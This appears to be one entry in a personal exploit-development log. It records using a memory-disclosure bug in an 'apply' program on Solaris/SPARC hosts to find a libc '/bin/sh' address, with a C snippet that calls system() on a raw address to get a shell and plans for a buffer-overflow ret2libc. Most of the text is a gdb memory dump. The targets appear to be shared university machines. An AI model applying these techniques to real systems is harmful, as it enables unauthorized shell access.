Memory Disclosure Pt. VIII

(void) execl(shpath, shell, (const char *)"-c", s, (char *)0);

This might be useful as some sort of binary signature in System().

/var/adm/messages is where the stack-execution notice comes up.

tail -f /var/adm/messages

Oct 17 21:51:43 life.dream.net genunix: [ID 533030 kern.notice] NOTICE: apply_actual[1212] attempt to execute code on stack by uid 100

I don’t know if the SIGPIPE error could possibly produce a message in /var/adm/messages, or some other log?? let’s see….
well.. I just tried it out, and nothing is showing up — I only checked dmesg and /var/adm/messages, which may be the same thing.. I’m not sure where else to check.. p.s. no core is dumped with SIGPIPE crashes (at least on target) ;)

Testing PTY
Can we use printf() from the master side?? YES
Check if reads on master are ever > 1?? YES ALWAYS
–More–q
(y or n)? n

Printing the Address from what is specified in the shellcode buffer

uint32_t *addr = &buff3[1560];
fprintf (stderr, "INFO@ 0x%4x\n",  *addr);

SSH into apply should be done manually.. Then kick the test off with a CTRL-P for PEEK!
allow me to automate the first half of the apply process:
be using strstr()

const char *strstr(const char *s1, const char *s2);
strstr()
     The strstr() function locates the first  occurrence  of  the
     string  s2  (excluding  the  terminating  null character) in
     string s1 and returns a pointer to the located string, or  a
     null  pointer if the string is not found. If  s2 points to a
     string with zero length (that is, the string ""), the  func-
     tion returns  s1.

Two Ways to Do the Same Thing
I was looking for a simple way to modify my string buffer with a 32-bit address value. The first is ugly, the second is elegant with pointer.

-bash-4.3$ cat test.c; ./test | od -X -A x
#include <sys/types.h>

buf[100];

write_info_addr(uint32_t addr)
{
  char b4,b3,b2,b1;
  b4 = ( (addr&0xff000000) >> 24);
  b3 = ( (addr&0x00ff0000) >> 16);
  b2 = ( (addr&0x0000ff00) >> 8);
  b1 = ( (addr&0x000000ff) );

  printf ("%c%c%c%c", b4,b3,b2,b1);
}

write_info_addr2(uint32_t addr)
{
  uint32_t *p = (uint32_t *)&buf[0];
  *p = addr;

  printf ("%s", buf);
}

main()
{
  memset (buf, 0, 100);
  write_info_addr(0xdeadbeef);
  write_info_addr2(0xdeadbeef);
}
0000000 deadbeef deadbeef
0000008

This below proves how I can call system() with a LibC address pointing towards “/bin/sh” string.. it’s a pretty cool trick.

-bash-4.3$ cat /tmp/system.c; /tmp/system
main()
{
  system(0xff32a4f8);
}
$ echo "yo"
yo
$ exit
-bash-4.3$

IT WORKS!!!!! I just found /bin/sh memory address(es) using my memory disclosure!!! <3 This address caused crash at blade60: 0xff324354 This address caused crash at blade57: 0xff324a3c i Tested on 0xff324a40 - another SIGPIPE... I think it's because of HUGE string size.. check out at the end of this article.. So.... I try searching from a distance away: 0xff328354 low and behold, I find a string pointer to /bin/sh on blade60!! WATCH OUT FOR CRASHING DUE TO A LONNGGGGG section of memory with no null char!! I blade it on the 'more' command.

31) cs450-1Higher Level LanguagesProf. C. Offner
0xff3296a8Press RETURN to see menu again; 'q' to quit adding groups; '?' for more help.
                                                                                       Please enter a group number [1-43] or command [cptqx?] : These are the categories of accounts:
                                       1) /bin/sh/bin/sh/bin/sh

This data is automatically logged to log.txt

-bash-4.3$ cat log.txt
"/bin/sh\0"@ 0xff3296a8

Cool beans! But I still have to find the system() call address…

That’s going to call for dissecting the opcodes in system(). Most of the instructions are the same but with different parameters… in fact.. Some instructions are perfect copies… But I’m concerned that they are not unique enough .. could they be riddled throughout libc?? The only sure way is to probe my own libc with the signature first.. then on the blade72 one.. then the blade57… if I can match all three of those without issues (duplicates), then i am confident to try on Blade60…

After that, I will learn how I stop whining like a little bitch and learn how to get stack queries working, and find a stack signature that I can search in stack space that will reveal to me what I should set for my buffer overflow %fp contents.. %fp will point to in the overflowed section of the stack where my fake stack frame, providing a good %i0,

WHY SIGPIPE??

Program received signal SIGPIPE, Broken pipe.
                                             0xff31fd1c in _write () from /usr/lib/libc.so.1
                                                                                            (gdb) 0xff324a40 <__tbl_baselg+46>:	0x012c0138
                                                                                                                                          (gdb) This shell is interactive
                          bazz@blade57[pts/28][~] bazz@blade57[pts/28][~]
bazz@blade57[pts/28][~] exit
exit
(gdb) x/x 0xff324a3c
0xff324a3c <__tbl_baselg+42>:   0x01140120
(gdb) x/x 0xff324a44
0xff324a44 <__tbl_baselg+50>:   0x0143014f
(gdb) x/s 0xff324a44
0xff324a44 <__tbl_baselg+50>:    "\001C\001O\001Z\001f\001q\001|\001\207\001\222\001\236\001�\001�\001�\001�\001�\001�\001�\001�\001�\002\b\002\023\002\035\002'\0021\002<\002F\002P\002Z\002c\002m\002w\002\201\002\212\002\224\002\236\002�\002�\002�\002�\002�\002�\002�\002�\002�\002�\003\004\003\f\003\025\003\036\003'\0030\0039\003A\003J\003S\003[\003d\003l\003u\003}\003\206\003\216\003\226\003\237\003�\003�\003�\003�\003�\003�\003�\003�\003�\003�\003�\003�\004\a\004\017\004\026\004\036\004&\004-\0045\004=\004D\004L\004S\004[\004b\004i\004q\004x\004\177\004\207\004\216\004\225\004\234\004�\004�\004�\004�"...
(gdb) x/96x 0xff324a44
0xff324a44 <__tbl_baselg+50>:   0x0143014f      0x015a0166      0x0171017c      0x01870192
0xff324a54 <__tbl_baselg+66>:   0x019e01a9      0x01b301be      0x01c901d4      0x01de01e9
0xff324a64 <__tbl_baselg+82>:   0x01f401fe      0x02080213      0x021d0227      0x0231023c
0xff324a74 <__tbl_baselg+98>:   0x02460250      0x025a0263      0x026d0277      0x0281028a
0xff324a84 <__tbl_baselg+114>:  0x0294029e      0x02a702b1      0x02ba02c3      0x02cd02d6
0xff324a94 <__tbl_baselg+130>:  0x02df02e8      0x02f102fa      0x0304030c      0x0315031e
0xff324aa4 <__tbl_baselg+146>:  0x03270330      0x03390341      0x034a0353      0x035b0364
0xff324ab4 <__tbl_baselg+162>:  0x036c0375      0x037d0386      0x038e0396      0x039f03a7
0xff324ac4 <__tbl_baselg+178>:  0x03af03b7      0x03bf03c7      0x03d003d8      0x03e003e7
0xff324ad4 <__tbl_baselg+194>:  0x03ef03f7      0x03ff0407      0x040f0416      0x041e0426
0xff324ae4 <__tbl_baselg+210>:  0x042d0435      0x043d0444      0x044c0453      0x045b0462
0xff324af4 <__tbl_baselg+226>:  0x04690471      0x0478047f      0x0487048e      0x0495049c
0xff324b04 <__tbl_baselg+242>:  0x04a304aa      0x04b104b9      0x04c004c7      0x04ce3030
0xff324b14 <__four_digits_quick_table+2>:       0x30303030      0x30383030      0x31363030      0x32343030
0xff324b24 <__four_digits_quick_table+18>:      0x33323030      0x34303030      0x34383030      0x35363030
0xff324b34 <__four_digits_quick_table+34>:      0x36343030      0x37323030      0x38303030      0x38383030
0xff324b44 <__four_digits_quick_table+50>:      0x39363031      0x30343031      0x31323031      0x32303031
0xff324b54 <__four_digits_quick_table+66>:      0x32383031      0x33363031      0x34343031      0x35323031
0xff324b64 <__four_digits_quick_table+82>:      0x36303031      0x36383031      0x37363031      0x38343031
0xff324b74 <__four_digits_quick_table+98>:      0x39323032      0x30303032      0x30383032      0x31363032
0xff324b84 <__four_digits_quick_table+114>:     0x32343032      0x33323032      0x34303032      0x34383032
0xff324b94 <__four_digits_quick_table+130>:     0x35363032      0x36343032      0x37323032      0x38303032
0xff324ba4 <__four_digits_quick_table+146>:     0x38383032      0x39363033      0x30343033      0x31323033
0xff324bb4 <__four_digits_quick_table+162>:     0x32303033      0x32383033      0x33363033      0x34343033
(gdb)
0xff324bc4 <__four_digits_quick_table+178>:     0x35323033      0x36303033      0x36383033      0x37363033
0xff324bd4 <__four_digits_quick_table+194>:     0x38343033      0x39323034      0x30303034      0x30383034
0xff324be4 <__four_digits_quick_table+210>:     0x31363034      0x32343034      0x33323034      0x34303034
0xff324bf4 <__four_digits_quick_table+226>:     0x34383034      0x35363034      0x36343034      0x37323034
0xff324c04 <__four_digits_quick_table+242>:     0x38303034      0x38383034      0x39363035      0x30343035
0xff324c14 <__four_digits_quick_table+258>:     0x31323035      0x32303035      0x32383035      0x33363035
0xff324c24 <__four_digits_quick_table+274>:     0x34343035      0x35323035      0x36303035      0x36383035
0xff324c34 <__four_digits_quick_table+290>:     0x37363035      0x38343035      0x39323036      0x30303036
0xff324c44 <__four_digits_quick_table+306>:     0x30383036      0x31363036      0x32343036      0x33323036
0xff324c54 <__four_digits_quick_table+322>:     0x34303036      0x34383036      0x35363036      0x36343036
0xff324c64 <__four_digits_quick_table+338>:     0x37323036      0x38303036      0x38383036      0x39363037
0xff324c74 <__four_digits_quick_table+354>:     0x30343037      0x31323037      0x32303037      0x32383037
0xff324c84 <__four_digits_quick_table+370>:     0x33363037      0x34343037      0x35323037      0x36303037
0xff324c94 <__four_digits_quick_table+386>:     0x36383037      0x37363037      0x38343037      0x39323038
0xff324ca4 <__four_digits_quick_table+402>:     0x30303038      0x30383038      0x31363038      0x32343038
0xff324cb4 <__four_digits_quick_table+418>:     0x33323038      0x34303038      0x34383038      0x35363038
0xff324cc4 <__four_digits_quick_table+434>:     0x36343038      0x37323038      0x38303038      0x38383038
0xff324cd4 <__four_digits_quick_table+450>:     0x39363039      0x30343039      0x31323039      0x32303039
0xff324ce4 <__four_digits_quick_table+466>:     0x32383039      0x33363039      0x34343039      0x35323039
0xff324cf4 <__four_digits_quick_table+482>:     0x36303039      0x36383039      0x37363039      0x38343039
0xff324d04 <__four_digits_quick_table+498>:     0x39323130      0x30303130      0x30383130      0x31363130
0xff324d14 <__four_digits_quick_table+514>:     0x32343130      0x33323130      0x34303130      0x34383130
0xff324d24 <__four_digits_quick_table+530>:     0x35363130      0x36343130      0x37323130      0x38303130
0xff324d34 <__four_digits_quick_table+546>:     0x38383130      0x39363131      0x30343131      0x31323131
(gdb)
0xff324d44 <__four_digits_quick_table+562>:     0x32303131      0x32383131      0x33363131      0x34343131
0xff324d54 <__four_digits_quick_table+578>:     0x35323131      0x36303131      0x36383131      0x37363131
0xff324d64 <__four_digits_quick_table+594>:     0x38343131      0x39323132      0x30303132      0x30383132
0xff324d74 <__four_digits_quick_table+610>:     0x31363132      0x32343132      0x33323132      0x34303132
0xff324d84 <__four_digits_quick_table+626>:     0x34383132      0x35363132      0x36343132      0x37323132
0xff324d94 <__four_digits_quick_table+642>:     0x38303132      0x38383132      0x39363133      0x30343133
0xff324da4 <__four_digits_quick_table+658>:     0x31323133      0x32303133      0x32383133      0x33363133
0xff324db4 <__four_digits_quick_table+674>:     0x34343133      0x35323133      0x36303133      0x36383133
0xff324dc4 <__four_digits_quick_table+690>:     0x37363133      0x38343133      0x39323134      0x30303134
0xff324dd4 <__four_digits_quick_table+706>:     0x30383134      0x31363134      0x32343134      0x33323134
0xff324de4 <__four_digits_quick_table+722>:     0x34303134      0x34383134      0x35363134      0x36343134
0xff324df4 <__four_digits_quick_table+738>:     0x37323134      0x38303134      0x38383134      0x39363135
0xff324e04 <__four_digits_quick_table+754>:     0x30343135      0x31323135      0x32303135      0x32383135
0xff324e14 <__four_digits_quick_table+770>:     0x33363135      0x34343135      0x35323135      0x36303135
0xff324e24 <__four_digits_quick_table+786>:     0x36383135      0x37363135      0x38343135      0x39323136
0xff324e34 <__four_digits_quick_table+802>:     0x30303136      0x30383136      0x31363136      0x32343136
0xff324e44 <__four_digits_quick_table+818>:     0x33323136      0x34303136      0x34383136      0x35363136
0xff324e54 <__four_digits_quick_table+834>:     0x36343136      0x37323136      0x38303136      0x38383136
0xff324e64 <__four_digits_quick_table+850>:     0x39363137      0x30343137      0x31323137      0x32303137
0xff324e74 <__four_digits_quick_table+866>:     0x32383137      0x33363137      0x34343137      0x35323137
0xff324e84 <__four_digits_quick_table+882>:     0x36303137      0x36383137      0x37363137      0x38343137
0xff324e94 <__four_digits_quick_table+898>:     0x39323138      0x30303138      0x30383138      0x31363138
0xff324ea4 <__four_digits_quick_table+914>:     0x32343138      0x33323138      0x34303138      0x34383138
0xff324eb4 <__four_digits_quick_table+930>:     0x35363138      0x36343138      0x37323138      0x38303138
(gdb)
0xff324ec4 <__four_digits_quick_table+946>:     0x38383138      0x39363139      0x30343139      0x31323139
0xff324ed4 <__four_digits_quick_table+962>:     0x32303139      0x32383139      0x33363139      0x34343139
0xff324ee4 <__four_digits_quick_table+978>:     0x35323139      0x36303139      0x36383139      0x37363139
0xff324ef4 <__four_digits_quick_table+994>:     0x38343139      0x39323230      0x30303230      0x30383230
0xff324f04 <__four_digits_quick_table+1010>:    0x31363230      0x32343230      0x33323230      0x34303230
0xff324f14 <__four_digits_quick_table+1026>:    0x34383230      0x35363230      0x36343230      0x37323230
0xff324f24 <__four_digits_quick_table+1042>:    0x38303230      0x38383230      0x39363231      0x30343231
0xff324f34 <__four_digits_quick_table+1058>:    0x31323231      0x32303231      0x32383231      0x33363231
0xff324f44 <__four_digits_quick_table+1074>:    0x34343231      0x35323231      0x36303231      0x36383231
0xff324f54 <__four_digits_quick_table+1090>:    0x37363231      0x38343231      0x39323232      0x30303232
0xff324f64 <__four_digits_quick_table+1106>:    0x30383232      0x31363232      0x32343232      0x33323232
0xff324f74 <__four_digits_quick_table+1122>:    0x34303232      0x34383232      0x35363232      0x36343232
0xff324f84 <__four_digits_quick_table+1138>:    0x37323232      0x38303232      0x38383232      0x39363233
0xff324f94 <__four_digits_quick_table+1154>:    0x30343233      0x31323233      0x32303233      0x32383233
0xff324fa4 <__four_digits_quick_table+1170>:    0x33363233      0x34343233      0x35323233      0x36303233
0xff324fb4 <__four_digits_quick_table+1186>:    0x36383233      0x37363233      0x38343233      0x39323234
0xff324fc4 <__four_digits_quick_table+1202>:    0x30303234      0x30383234      0x31363234      0x32343234
0xff324fd4 <__four_digits_quick_table+1218>:    0x33323234      0x34303234      0x34383234      0x35363234
0xff324fe4 <__four_digits_quick_table+1234>:    0x36343234      0x37323234      0x38303234      0x38383234
0xff324ff4 <__four_digits_quick_table+1250>:    0x39363235      0x30343235      0x31323235      0x32303235
0xff325004 <__four_digits_quick_table+1266>:    0x32383235      0x33363235      0x34343235      0x35323235
0xff325014 <__four_digits_quick_table+1282>:    0x36303235      0x36383235      0x37363235      0x38343235
0xff325024 <__four_digits_quick_table+1298>:    0x39323236      0x30303236      0x30383236      0x31363236
0xff325034 <__four_digits_quick_table+1314>:    0x32343236      0x33323236      0x34303236      0x34383236
(gdb)
0xff325044 <__four_digits_quick_table+1330>:    0x35363236      0x36343236      0x37323236      0x38303236
0xff325054 <__four_digits_quick_table+1346>:    0x38383236      0x39363237      0x30343237      0x31323237
0xff325064 <__four_digits_quick_table+1362>:    0x32303237      0x32383237      0x33363237      0x34343237
0xff325074 <__four_digits_quick_table+1378>:    0x35323237      0x36303237      0x36383237      0x37363237
0xff325084 <__four_digits_quick_table+1394>:    0x38343237      0x39323238      0x30303238      0x30383238
0xff325094 <__four_digits_quick_table+1410>:    0x31363238      0x32343238      0x33323238      0x34303238
0xff3250a4 <__four_digits_quick_table+1426>:    0x34383238      0x35363238      0x36343238      0x37323238
0xff3250b4 <__four_digits_quick_table+1442>:    0x38303238      0x38383238      0x39363239      0x30343239
0xff3250c4 <__four_digits_quick_table+1458>:    0x31323239      0x32303239      0x32383239      0x33363239
0xff3250d4 <__four_digits_quick_table+1474>:    0x34343239      0x35323239      0x36303239      0x36383239
0xff3250e4 <__four_digits_quick_table+1490>:    0x37363239      0x38343239      0x39323330      0x30303330
0xff3250f4 <__four_digits_quick_table+1506>:    0x30383330      0x31363330      0x32343330      0x33323330
0xff325104 <__four_digits_quick_table+1522>:    0x34303330      0x34383330      0x35363330      0x36343330
0xff325114 <__four_digits_quick_table+1538>:    0x37323330      0x38303330      0x38383330      0x39363331
0xff325124 <__four_digits_quick_table+1554>:    0x30343331      0x31323331      0x32303331      0x32383331
0xff325134 <__four_digits_quick_table+1570>:    0x33363331      0x34343331      0x35323331      0x36303331
0xff325144 <__four_digits_quick_table+1586>:    0x36383331      0x37363331      0x38343331      0x39323332
0xff325154 <__four_digits_quick_table+1602>:    0x30303332      0x30383332      0x31363332      0x32343332
0xff325164 <__four_digits_quick_table+1618>:    0x33323332      0x34303332      0x34383332      0x35363332
0xff325174 <__four_digits_quick_table+1634>:    0x36343332      0x37323332      0x38303332      0x38383332
0xff325184 <__four_digits_quick_table+1650>:    0x39363333      0x30343333      0x31323333      0x32303333
0xff325194 <__four_digits_quick_table+1666>:    0x32383333      0x33363333      0x34343333      0x35323333
0xff3251a4 <__four_digits_quick_table+1682>:    0x36303333      0x36383333      0x37363333      0x38343333
0xff3251b4 <__four_digits_quick_table+1698>:    0x39323334      0x30303334      0x30383334      0x31363334
(gdb)
0xff3251c4 <__four_digits_quick_table+1714>:    0x32343334      0x33323334      0x34303334      0x34383334
0xff3251d4 <__four_digits_quick_table+1730>:    0x35363334      0x36343334      0x37323334      0x38303334
0xff3251e4 <__four_digits_quick_table+1746>:    0x38383334      0x39363335      0x30343335      0x31323335
0xff3251f4 <__four_digits_quick_table+1762>:    0x32303335      0x32383335      0x33363335      0x34343335
0xff325204 <__four_digits_quick_table+1778>:    0x35323335      0x36303335      0x36383335      0x37363335
0xff325214 <__four_digits_quick_table+1794>:    0x38343335      0x39323336      0x30303336      0x30383336
0xff325224 <__four_digits_quick_table+1810>:    0x31363336      0x32343336      0x33323336      0x34303336
0xff325234 <__four_digits_quick_table+1826>:    0x34383336      0x35363336      0x36343336      0x37323336
0xff325244 <__four_digits_quick_table+1842>:    0x38303336      0x38383336      0x39363337      0x30343337
0xff325254 <__four_digits_quick_table+1858>:    0x31323337      0x32303337      0x32383337      0x33363337
0xff325264 <__four_digits_quick_table+1874>:    0x34343337      0x35323337      0x36303337      0x36383337
0xff325274 <__four_digits_quick_table+1890>:    0x37363337      0x38343337      0x39323338      0x30303338
0xff325284 <__four_digits_quick_table+1906>:    0x30383338      0x31363338      0x32343338      0x33323338
0xff325294 <__four_digits_quick_table+1922>:    0x34303338      0x34383338      0x35363338      0x36343338
0xff3252a4 <__four_digits_quick_table+1938>:    0x37323338      0x38303338      0x38383338      0x39363339
0xff3252b4 <__four_digits_quick_table+1954>:    0x30343339      0x31323339      0x32303339      0x32383339
0xff3252c4 <__four_digits_quick_table+1970>:    0x33363339      0x34343339      0x35323339      0x36303339
0xff3252d4 <__four_digits_quick_table+1986>:    0x36383339      0x37363339      0x38343339      0x39323430
0xff3252e4 <__four_digits_quick_table+2002>:    0x30303430      0x30383430      0x31363430      0x32343430
0xff3252f4 <__four_digits_quick_table+2018>:    0x33323430      0x34303430      0x34383430      0x35363430
0xff325304 <__four_digits_quick_table+2034>:    0x36343430      0x37323430      0x38303430      0x38383430
0xff325314 <__four_digits_quick_table+2050>:    0x39363431      0x30343431      0x31323431      0x32303431
0xff325324 <__four_digits_quick_table+2066>:    0x32383431      0x33363431      0x34343431      0x35323431
0xff325334 <__four_digits_quick_table+2082>:    0x36303431      0x36383431      0x37363431      0x38343431
(gdb)
0xff325344 <__four_digits_quick_table+2098>:    0x39323432      0x30303432      0x30383432      0x31363432
0xff325354 <__four_digits_quick_table+2114>:    0x32343432      0x33323432      0x34303432      0x34383432
0xff325364 <__four_digits_quick_table+2130>:    0x35363432      0x36343432      0x37323432      0x38303432
0xff325374 <__four_digits_quick_table+2146>:    0x38383432      0x39363433      0x30343433      0x31323433
0xff325384 <__four_digits_quick_table+2162>:    0x32303433      0x32383433      0x33363433      0x34343433
0xff325394 <__four_digits_quick_table+2178>:    0x35323433      0x36303433      0x36383433      0x37363433
0xff3253a4 <__four_digits_quick_table+2194>:    0x38343433      0x39323434      0x30303434      0x30383434
0xff3253b4 <__four_digits_quick_table+2210>:    0x31363434      0x32343434      0x33323434      0x34303434
0xff3253c4 <__four_digits_quick_table+2226>:    0x34383434      0x35363434      0x36343434      0x37323434
0xff3253d4 <__four_digits_quick_table+2242>:    0x38303434      0x38383434      0x39363435      0x30343435
0xff3253e4 <__four_digits_quick_table+2258>:    0x31323435      0x32303435      0x32383435      0x33363435
0xff3253f4 <__four_digits_quick_table+2274>:    0x34343435      0x35323435      0x36303435      0x36383435
0xff325404 <__four_digits_quick_table+2290>:    0x37363435      0x38343435      0x39323436      0x30303436
0xff325414 <__four_digits_quick_table+2306>:    0x30383436      0x31363436      0x32343436      0x33323436
0xff325424 <__four_digits_quick_table+2322>:    0x34303436      0x34383436      0x35363436      0x36343436
0xff325434 <__four_digits_quick_table+2338>:    0x37323436      0x38303436      0x38383436      0x39363437
0xff325444 <__four_digits_quick_table+2354>:    0x30343437      0x31323437      0x32303437      0x32383437
0xff325454 <__four_digits_quick_table+2370>:    0x33363437      0x34343437      0x35323437      0x36303437
0xff325464 <__four_digits_quick_table+2386>:    0x36383437      0x37363437      0x38343437      0x39323438
0xff325474 <__four_digits_quick_table+2402>:    0x30303438      0x30383438      0x31363438      0x32343438
0xff325484 <__four_digits_quick_table+2418>:    0x33323438      0x34303438      0x34383438      0x35363438
0xff325494 <__four_digits_quick_table+2434>:    0x36343438      0x37323438      0x38303438      0x38383438
0xff3254a4 <__four_digits_quick_table+2450>:    0x39363439      0x30343439      0x31323439      0x32303439
0xff3254b4 <__four_digits_quick_table+2466>:    0x32383439      0x33363439      0x34343439      0x35323439
(gdb)
0xff3254c4 <__four_digits_quick_table+2482>:    0x36303439      0x36383439      0x37363439      0x38343439
0xff3254d4 <__four_digits_quick_table+2498>:    0x39323530      0x30303530      0x30383530      0x31363530
0xff3254e4 <__four_digits_quick_table+2514>:    0x32343530      0x33323530      0x34303530      0x34383530
0xff3254f4 <__four_digits_quick_table+2530>:    0x35363530      0x36343530      0x37323530      0x38303530
0xff325504 <__four_digits_quick_table+2546>:    0x38383530      0x39363531      0x30343531      0x31323531
0xff325514 <__four_digits_quick_table+2562>:    0x32303531      0x32383531      0x33363531      0x34343531
0xff325524 <__four_digits_quick_table+2578>:    0x35323531      0x36303531      0x36383531      0x37363531
0xff325534 <__four_digits_quick_table+2594>:    0x38343531      0x39323532      0x30303532      0x30383532
0xff325544 <__four_digits_quick_table+2610>:    0x31363532      0x32343532      0x33323532      0x34303532
0xff325554 <__four_digits_quick_table+2626>:    0x34383532      0x35363532      0x36343532      0x37323532
0xff325564 <__four_digits_quick_table+2642>:    0x38303532      0x38383532      0x39363533      0x30343533
0xff325574 <__four_digits_quick_table+2658>:    0x31323533      0x32303533      0x32383533      0x33363533
0xff325584 <__four_digits_quick_table+2674>:    0x34343533      0x35323533      0x36303533      0x36383533
0xff325594 <__four_digits_quick_table+2690>:    0x37363533      0x38343533      0x39323534      0x30303534
0xff3255a4 <__four_digits_quick_table+2706>:    0x30383534      0x31363534      0x32343534      0x33323534
0xff3255b4 <__four_digits_quick_table+2722>:    0x34303534      0x34383534      0x35363534      0x36343534
0xff3255c4 <__four_digits_quick_table+2738>:    0x37323534      0x38303534      0x38383534      0x39363535
0xff3255d4 <__four_digits_quick_table+2754>:    0x30343535      0x31323535      0x32303535      0x32383535
0xff3255e4 <__four_digits_quick_table+2770>:    0x33363535      0x34343535      0x35323535      0x36303535
0xff3255f4 <__four_digits_quick_table+2786>:    0x36383535      0x37363535      0x38343535      0x39323536
0xff325604 <__four_digits_quick_table+2802>:    0x30303536      0x30383536      0x31363536      0x32343536
0xff325614 <__four_digits_quick_table+2818>:    0x33323536      0x34303536      0x34383536      0x35363536
0xff325624 <__four_digits_quick_table+2834>:    0x36343536      0x37323536      0x38303536      0x38383536
0xff325634 <__four_digits_quick_table+2850>:    0x39363537      0x30343537      0x31323537      0x32303537
(gdb)
0xff325644 <__four_digits_quick_table+2866>:    0x32383537      0x33363537      0x34343537      0x35323537
0xff325654 <__four_digits_quick_table+2882>:    0x36303537      0x36383537      0x37363537      0x38343537
0xff325664 <__four_digits_quick_table+2898>:    0x39323538      0x30303538      0x30383538      0x31363538
0xff325674 <__four_digits_quick_table+2914>:    0x32343538      0x33323538      0x34303538      0x34383538
0xff325684 <__four_digits_quick_table+2930>:    0x35363538      0x36343538      0x37323538      0x38303538
0xff325694 <__four_digits_quick_table+2946>:    0x38383538      0x39363539      0x30343539      0x31323539
0xff3256a4 <__four_digits_quick_table+2962>:    0x32303539      0x32383539      0x33363539      0x34343539
0xff3256b4 <__four_digits_quick_table+2978>:    0x35323539      0x36303539      0x36383539      0x37363539
0xff3256c4 <__four_digits_quick_table+2994>:    0x38343539      0x39323630      0x30303630      0x30383630
0xff3256d4 <__four_digits_quick_table+3010>:    0x31363630      0x32343630      0x33323630      0x34303630
0xff3256e4 <__four_digits_quick_table+3026>:    0x34383630      0x35363630      0x36343630      0x37323630
0xff3256f4 <__four_digits_quick_table+3042>:    0x38303630      0x38383630      0x39363631      0x30343631
0xff325704 <__four_digits_quick_table+3058>:    0x31323631      0x32303631      0x32383631      0x33363631
0xff325714 <__four_digits_quick_table+3074>:    0x34343631      0x35323631      0x36303631      0x36383631
0xff325724 <__four_digits_quick_table+3090>:    0x37363631      0x38343631      0x39323632      0x30303632
0xff325734 <__four_digits_quick_table+3106>:    0x30383632      0x31363632      0x32343632      0x33323632
0xff325744 <__four_digits_quick_table+3122>:    0x34303632      0x34383632      0x35363632      0x36343632
0xff325754 <__four_digits_quick_table+3138>:    0x37323632      0x38303632      0x38383632      0x39363633
0xff325764 <__four_digits_quick_table+3154>:    0x30343633      0x31323633      0x32303633      0x32383633
0xff325774 <__four_digits_quick_table+3170>:    0x33363633      0x34343633      0x35323633      0x36303633
0xff325784 <__four_digits_quick_table+3186>:    0x36383633      0x37363633      0x38343633      0x39323634
0xff325794 <__four_digits_quick_table+3202>:    0x30303634      0x30383634      0x31363634      0x32343634
0xff3257a4 <__four_digits_quick_table+3218>:    0x33323634      0x34303634      0x34383634      0x35363634
0xff3257b4 <__four_digits_quick_table+3234>:    0x36343634      0x37323634      0x38303634      0x38383634
(gdb)
0xff3257c4 <__four_digits_quick_table+3250>:    0x39363635      0x30343635      0x31323635      0x32303635
0xff3257d4 <__four_digits_quick_table+3266>:    0x32383635      0x33363635      0x34343635      0x35323635
0xff3257e4 <__four_digits_quick_table+3282>:    0x36303635      0x36383635      0x37363635      0x38343635
0xff3257f4 <__four_digits_quick_table+3298>:    0x39323636      0x30303636      0x30383636      0x31363636
0xff325804 <__four_digits_quick_table+3314>:    0x32343636      0x33323636      0x34303636      0x34383636
0xff325814 <__four_digits_quick_table+3330>:    0x35363636      0x36343636      0x37323636      0x38303636
0xff325824 <__four_digits_quick_table+3346>:    0x38383636      0x39363637      0x30343637      0x31323637
0xff325834 <__four_digits_quick_table+3362>:    0x32303637      0x32383637      0x33363637      0x34343637
0xff325844 <__four_digits_quick_table+3378>:    0x35323637      0x36303637      0x36383637      0x37363637
0xff325854 <__four_digits_quick_table+3394>:    0x38343637      0x39323638      0x30303638      0x30383638
0xff325864 <__four_digits_quick_table+3410>:    0x31363638      0x32343638      0x33323638      0x34303638
0xff325874 <__four_digits_quick_table+3426>:    0x34383638      0x35363638      0x36343638      0x37323638
0xff325884 <__four_digits_quick_table+3442>:    0x38303638      0x38383638      0x39363639      0x30343639
0xff325894 <__four_digits_quick_table+3458>:    0x31323639      0x32303639      0x32383639      0x33363639
0xff3258a4 <__four_digits_quick_table+3474>:    0x34343639      0x35323639      0x36303639      0x36383639
0xff3258b4 <__four_digits_quick_table+3490>:    0x37363639      0x38343639      0x39323730      0x30303730
0xff3258c4 <__four_digits_quick_table+3506>:    0x30383730      0x31363730      0x32343730      0x33323730
0xff3258d4 <__four_digits_quick_table+3522>:    0x34303730      0x34383730      0x35363730      0x36343730
0xff3258e4 <__four_digits_quick_table+3538>:    0x37323730      0x38303730      0x38383730      0x39363731
0xff3258f4 <__four_digits_quick_table+3554>:    0x30343731      0x31323731      0x32303731      0x32383731
0xff325904 <__four_digits_quick_table+3570>:    0x33363731      0x34343731      0x35323731      0x36303731
0xff325914 <__four_digits_quick_table+3586>:    0x36383731      0x37363731      0x38343731      0x39323732
0xff325924 <__four_digits_quick_table+3602>:    0x30303732      0x30383732      0x31363732      0x32343732
0xff325934 <__four_digits_quick_table+3618>:    0x33323732      0x34303732      0x34383732      0x35363732
(gdb)
0xff325944 <__four_digits_quick_table+3634>:    0x36343732      0x37323732      0x38303732      0x38383732
0xff325954 <__four_digits_quick_table+3650>:    0x39363733      0x30343733      0x31323733      0x32303733
0xff325964 <__four_digits_quick_table+3666>:    0x32383733      0x33363733      0x34343733      0x35323733
0xff325974 <__four_digits_quick_table+3682>:    0x36303733      0x36383733      0x37363733      0x38343733
0xff325984 <__four_digits_quick_table+3698>:    0x39323734      0x30303734      0x30383734      0x31363734
0xff325994 <__four_digits_quick_table+3714>:    0x32343734      0x33323734      0x34303734      0x34383734
0xff3259a4 <__four_digits_quick_table+3730>:    0x35363734      0x36343734      0x37323734      0x38303734
0xff3259b4 <__four_digits_quick_table+3746>:    0x38383734      0x39363735      0x30343735      0x31323735
0xff3259c4 <__four_digits_quick_table+3762>:    0x32303735      0x32383735      0x33363735      0x34343735
0xff3259d4 <__four_digits_quick_table+3778>:    0x35323735      0x36303735      0x36383735      0x37363735
0xff3259e4 <__four_digits_quick_table+3794>:    0x38343735      0x39323736      0x30303736      0x30383736
0xff3259f4 <__four_digits_quick_table+3810>:    0x31363736      0x32343736      0x33323736      0x34303736
0xff325a04 <__four_digits_quick_table+3826>:    0x34383736      0x35363736      0x36343736      0x37323736
0xff325a14 <__four_digits_quick_table+3842>:    0x38303736      0x38383736      0x39363737      0x30343737
0xff325a24 <__four_digits_quick_table+3858>:    0x31323737      0x32303737      0x32383737      0x33363737
0xff325a34 <__four_digits_quick_table+3874>:    0x34343737      0x35323737      0x36303737      0x36383737
0xff325a44 <__four_digits_quick_table+3890>:    0x37363737      0x38343737      0x39323738      0x30303738
0xff325a54 <__four_digits_quick_table+3906>:    0x30383738      0x31363738      0x32343738      0x33323738
0xff325a64 <__four_digits_quick_table+3922>:    0x34303738      0x34383738      0x35363738      0x36343738
0xff325a74 <__four_digits_quick_table+3938>:    0x37323738      0x38303738      0x38383738      0x39363739
